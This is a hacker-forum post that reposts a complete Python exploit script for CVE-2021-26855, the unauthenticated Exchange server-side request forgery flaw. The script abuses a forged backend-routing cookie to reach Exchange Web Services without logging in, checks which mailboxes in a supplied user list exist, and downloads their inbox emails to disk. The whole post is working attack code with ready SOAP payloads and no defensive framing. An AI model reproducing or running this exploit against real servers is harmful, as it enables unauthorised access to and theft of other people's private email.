Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Microsoft Exchange 2019 - Unauthenticated Email Download

 Share


HACK1949

Recommended Posts

# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download
# Date: 03-11-2021
# Exploit Author: Gonzalo Villegas a.k.a Cl34r
# Vendor Homepage: https://www.microsoft.com/
# Version: OWA Exchange 2013 - 2019
# Tested on: OWA 2016
# CVE : CVE-2021-26855
# Details: checking users mailboxes and automated downloads of emails

import requests
import argparse
import time

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

__proxies__ = {"http": "http://127.0.0.1:8080",
               "https": "https://127.0.0.1:8080"}  # for debug on proxy


# needs to specifies mailbox, will return folder Id if account exists
payload_get_folder_id = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
            xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
            xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
                <soap:Body>
                    <m:GetFolder>
                        <m:FolderShape>
                            <t:BaseShape>AllProperties</t:BaseShape>
                        </m:FolderShape>
                        <m:FolderIds>
                            <t:DistinguishedFolderId Id="inbox">
                                <t:Mailbox>
                                    <t:EmailAddress>{}</t:EmailAddress>
                                </t:Mailbox>
                            </t:DistinguishedFolderId>
                        </m:FolderIds>
                    </m:GetFolder>
                </soap:Body>
            </soap:Envelope>

"""
# needs to specifies Folder Id and ChangeKey, will return a list of messages Ids (emails)
payload_get_items_id_folder = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
            xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
            xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
            <m:FindItem Traversal="Shallow">
               <m:ItemShape>
            <BaseShape>AllProperties</BaseShape></m:ItemShape>
               <SortOrder/>
             <m:ParentFolderIds>
                    <t:FolderId Id="{}" ChangeKey="{}"/>
                  </m:ParentFolderIds>
               <QueryString/>
            </m:FindItem>
            </soap:Body>
</soap:Envelope>
"""

# needs to specifies Id (message Id) and ChangeKey (of message too), will return an email from mailbox
payload_get_mail = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
            xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
            xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
                <soap:Body>
            <GetItem   xmlns="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" Traversal="Shallow">
            <ItemShape>
            <t:BaseShape>Default</t:BaseShape>
            </ItemShape>
            <ItemIds>
            <t:ItemId Id="{}" ChangeKey="{}"/>
            </ItemIds>
            </GetItem>
                </soap:Body>
            </soap:Envelope>
"""


def getFQDN(url):
    print("[*] Getting FQDN from headers")
    rs = requests.post(url + "/owa/auth.owa", verify=False, data="evildata")
    if "X-FEServer" in rs.headers:
        return rs.headers["X-FEServer"]
    else:
        print("[-] Can't get FQDN ")
        exit(0)


def extractEmail(url, uri, user, fqdn, content_folderid, path):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
               "Content-Type": "text/xml",
               "User-Agent": "Mozilla pwner"}
    from xml.etree import ElementTree as ET
    dom = ET.fromstring(content_folderid)
    for p in dom.findall('.//{http://schemas.microsoft.com/exchange/services/2006/types}Folder'):
        id_folder = p[0].attrib.get("Id")
        change_key_folder = p[0].attrib.get("ChangeKey")
        data = payload_get_items_id_folder.format(id_folder, change_key_folder)
        random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]
        rs = requests.post(url + uri, data=data, headers=headers, verify=False)
        if "ErrorAccessDenied" in rs.text:
            print("[*] Denied ;(.. retrying")
            t_uri = uri.split("/")[-1]
            for ru in random_uris:
                print("[*] Retrying with {}".format(uri.replace(t_uri, ru)))
                rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)
                if "NoError" in rs.text:
                    print("[+] data found, dowloading email")
                    break
        print("[+]Getting mails...")
        dom_messages = ET.fromstring(rs.text)
        messages = dom_messages.find('.//{http://schemas.microsoft.com/exchange/services/2006/types}Items')
        for m in messages:
            id_message = m[0].attrib.get("Id")
            change_key_message = m[0].attrib.get("ChangeKey")
            data = payload_get_mail.format(id_message, change_key_message)
            random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]
            rs = requests.post(url + uri, data=data, headers=headers, verify=False)
            if "ErrorAccessDenied" in rs.text:
                print("[*] Denied ;(.. retrying")
                t_uri = uri.split("/")[-1]
                for ru in random_uris:
                    print("[*] Retrying with {}".format(uri.replace(t_uri, ru)))
                    rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)
                    if "NoError" in rs.text:
                        print("[+] data found, downloading email")
                        break

            try:
                f = open(path + "/" + user.replace("@", "_").replace(".", "_")+"_"+change_key_message.replace("/", "").replace("\\", "")+".xml", 'w+')
                f.write(rs.text)
                f.close()
            except Exception as e:
                print("[!] Can't write .xml file to path (email): ", e)


def checkURI(url, fqdn):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
               "Content-Type": "text/xml",
               "User-Agent": "Mozilla hehe"}
    arr_uri = ["//ecp/xxx.js", "/ecp/favicon.ico", "/ecp/auth.js"]
    for uri in arr_uri:
        rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format("thisisnotanvalidmail@pwn.local"),
                           headers=headers)
        #print(rs.content)
        if rs.status_code == 200 and "MessageText" in rs.text:
            print("[+] Valid URI:", uri)
            calculated_domain = rs.headers["X-CalculatedBETarget"].split(".")
            if calculated_domain[-2] in ("com", "gov", "gob", "edu", "org"):
                calculated_domain = calculated_domain[-3] + "." + calculated_domain[-2] + "." + calculated_domain[-1]
            else:
                calculated_domain = calculated_domain[-2] + "." + calculated_domain[-1]
            return uri, calculated_domain
        #time.sleep(1)
    print("[-] No valid URI found ;(")
    exit(0)


def checkEmailBoxes(url, uri, user, fqdn, path):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
               "Content-Type": "text/xml",
               "User-Agent": "Mozilla hehe"}
    rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format(user),
                       headers=headers)
    #time.sleep(1)
    #print(rs.content)
    if "ResponseCode" in rs.text and "ErrorAccessDenied" in rs.text:
        print("[*] Valid Email: {} ...but not authenticated ;( maybe not vulnerable".format(user))
    if "ResponseCode" in rs.text and "NoError" in rs.text:
        print("[+] Valid Email Found!: {}".format(user))
        extractEmail(url, uri, user, fqdn, rs.text, path)
    if "ResponseCode" in rs.text and "ErrorNonExistentMailbox" in rs.text:
        print("[-] Not Valid Email: {}".format(user))


def main():
    __URL__ = None
    __FQDN__ = None
    __mailbox_domain__ = None
    __path__ = None
    print("[***** OhhWAA *****]")
    parser = argparse.ArgumentParser(usage="Basic usage python %(prog)s -u <url> -l <users.txt> -p <path>")
    parser.add_argument('-u', "--url", help="Url, provide schema and not final / (eg https://example.org)", required=True)
    parser.add_argument('-l', "--list", help="Users mailbox list", required=True)
    parser.add_argument("-p", "--path", help="Path to write emails in xml format", required=True)
    parser.add_argument('-f', "--fqdn", help="FQDN", required=False, default=None)
    parser.add_argument("-d", "--domain", help="Domain to check mailboxes (eg if .local dont work)", required=False, default=None)
    args = parser.parse_args()
    __URL__ = args.url
    __FQDN__ = args.fqdn
    __mailbox_domain__ = args.domain
    __list_users__ = args.list
    __valid_users__ = []
    __path__ = args.path
    if not __FQDN__:
        __FQDN__ = getFQDN(__URL__)
        print("[+] Got FQDN:", __FQDN__)

    valid_uri, calculated_domain = checkURI(__URL__, __FQDN__)

    if not __mailbox_domain__:
        __mailbox_domain__ = calculated_domain

    list_users = open(__list_users__, "r")
    for user in list_users:
        checkEmailBoxes(__URL__, valid_uri, user.strip()+"@"+__mailbox_domain__, __FQDN__, __path__)

    print("[!!!] FINISHED OhhWAA")


if __name__ == '__main__':
    main()
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...